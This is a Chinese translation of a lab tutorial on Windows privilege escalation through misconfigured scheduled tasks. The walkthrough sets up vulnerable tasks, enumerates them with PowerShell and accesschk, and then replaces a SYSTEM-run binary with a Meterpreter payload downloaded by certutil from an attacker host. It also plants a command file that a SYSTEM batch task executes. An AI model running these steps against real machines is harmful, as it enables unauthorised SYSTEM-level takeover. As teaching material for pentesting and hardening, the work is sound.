译文声明
本文是翻译文章,文章原作者 am0nsec,文章来源:amonsec.net
原文地址:https://amonsec.net/2018/10/20/Common-Windows-Misconfiguration-Scheduled-Tasks.html
译文仅供参考,具体内容表达以及含义原文为准
本文写的是在使用计划任务作为权限提升的手段时,所涉及到的原理、方法及复现。
为了避免复现而出现的差异,可以在这里下载 Windows 10虚拟机,此处是给了 4GB RAM 和 2 个核心处理器的 MSEdge on Win10 (x64) Stable 1809
。
如果要复现本文中的两个利用案例,则可以根据本小节的内容进而创建两个配置错误的计划任务。
首先,我们有一个普通用户 lowuser
, 先创建目录:
mkdir "C:\ScheduledTasks\Task1" mkdir "C:\ScheduledTasks\Task2" mkdir "C:\ScheduledTasks\Task3"
我们利用 Task1
和 Task3
执行二进制文件,而 Task2
则执行一个 Bat
文件。
copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task1\something.exe" echo for /F "tokens=*" %%i in ('type "C:\ScheduledTasks\Task2\.secret\file.txt"') do cmd.exe /C %%i > C:\ScheduledTasks\Task2\something.bat copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task3\something.exe"
我们不允许 lowuser
用户对C:\ScheduledTasks\Task1
和 C:\ScheduledTasks\Task2
文件夹进行写操作,并且也不允许对 C:\ScheduledTasks\Task2\something.bat
文件进行写操作和删除操作。
icacls "C:\ScheduledTasks\Task2" /deny lowuser:(W) icacls "C:\ScheduledTasks\Task2\something.bat" /deny lowuser:(W,D) icacls "C:\ScheduledTasks\Task3" /deny lowuser:(W)
现在,我们可以使用 schtasks
命令创建三个计划任务。对于那些想学习如何使用 schtask
命令的人,可以进一步阅读此 Microsoft page。此外,在创建第三个任务时,使用 lowuser
用户替换掉 NT Authority\System
。
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task1" /tr "C:\ScheduledTasks\Task1\something.exe" /sc minute /mo 2 schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task2" /tr "C:\ScheduledTasks\Task2\something.bat" /sc minute /mo 2 schtasks /create /ru "lowuser" /rp "" /tn "\Microsoft\AdminTasks\Task3" /tr "C:\ScheduledTasks\Task3\something.bat" /sc minute /mo 2
上面的操作基本都很简单。
根据微软的说法:
The Task Scheduler enables you to automatically perform routine tasks on a chosen computer. The Task Scheduler does this by monitoring whatever criteria you choose to initiate the tasks (referred to as triggers) and then executing the tasks when the criteria is met.
与 Linux/Unix
系统的 cron/jobs
相比,Windows 计划任务程序 是定义为 触发器执行操作。
计划任务可以存档不同的操作:
可用于执行动作的不同触发器:
时间触发
每日触发
每周触发
每月触发
空闲触发
开机触发
注册触发
登陆触发
会话状态更改触发
值得注意的是,可以使用多个触发器来触发任务。一个简单的例子:我想要一个任务,该任务将在用户每次登陆时执行一次脚本,或者每个月弹出一个消息框,以便提醒我必须修改密码。
像这样的描述,并不是很危险,但问题是,在大多数情况下,计划任务是以 NT Authority\System
高权限执行的。因此,如果计划任务要执行的是一个二进制,而且二进制文件可以用任意一个二进制文件覆盖,则可能会导致特权提升。
文档参考:https://docs.microsoft.com/zh-cn/windows/desktop/taskschd/task-scheduler-start-page
为了获得所有计划的任务,我们可以使用schtask
(在此处记录)命令进行查询。
或者,我们可以使用此处 PowerShell cmdlet
中的 Get-ScheduledTask
来查询 。
可以看到,此时我们有很多的计划任务,因此我们使用 PowerShell 进行更进一步的筛选查询。
首先,我们可以删除包含 /Microsoft/Windows/
路径的所有任务,因为在大多数情况下,这些都是默认的计划任务。
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
太棒了,筛选过后我们还有五个任务,现在我们可以删除与 lowuser
用户相同权限的计划任务。
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
最后,我们还有两个比较有趣的计划任务,这是值得进行分析是 Task1
和Task2
。
让我们看看如何利用第一个计划任务来获得该系统的更多特权。
我们可以使用以下 PowerShell
命令来获取任务的执行间隔。
$task= Get-ScheduledTask -TaskName Task1 ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}
我们可以使用这些命令找到关于此任务的动作。
$task= Get-ScheduledTask -TaskName Task1 ForEach ($action in $task.Actions) { Select $action.Execute}
根据输出可以看出,Task1
每隔两分钟执行一次 C:\ScheduledTasks\Task1\something.exe
。此时我们作为低特权用户,必须检查是否可以覆盖此文件。
accesschk.exe
可以使用很棒的工具。
C:\Toolbox\accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\something.exe
我们拥有写权限,因此,我们可以用 meterpreter shell
替换原始二进制 something.exe
文件。
certutil -urlcache -split -f "http://192.168.230.130:8080/something.exe" C:\ScheduledTasks\Task1\something.exe
最多两分钟后,我们将获得具有 SYSTEM 权限
的 Meterpreter 会话。
与之前相同,让我们看看Task2
的执行间隔和执行动作。
$task = Get-ScheduledTask -TaskName Task2 ForEach ($trigger in $task.Triggers) { echo $trigger.Repetition.Interval} ForEach ($action in $task.Actions) { echo $action.Execute }
有趣的是,执行了一个bat 文件。
目前的情况如下:Task2 每隔两分钟执行一次 C:\ScheduledTasks\Task2\something.bat
,而 bat 的内容则是依次按行执行 C:\ScheduledTasks\Task2\.secret\file.txt
文件中的内容。
幸运的是,lowuser
用户对该目录具有写权限。
因此,我们可以创建一个名为 .secret
的新文件夹,并在file.txt
文件中添加要作为 SYSTEM 权限执行的命令。
mkdir C:\ScheduledTasks\Task2\.secret echo "C:\Windows\System32\spool\drivers\color\legit.exe" > C:\ScheduledTasks\Task2\.secret\file.txt
最多两分钟后,我们将获得具有 SYSTEM 权限
的 Meterpreter 会话。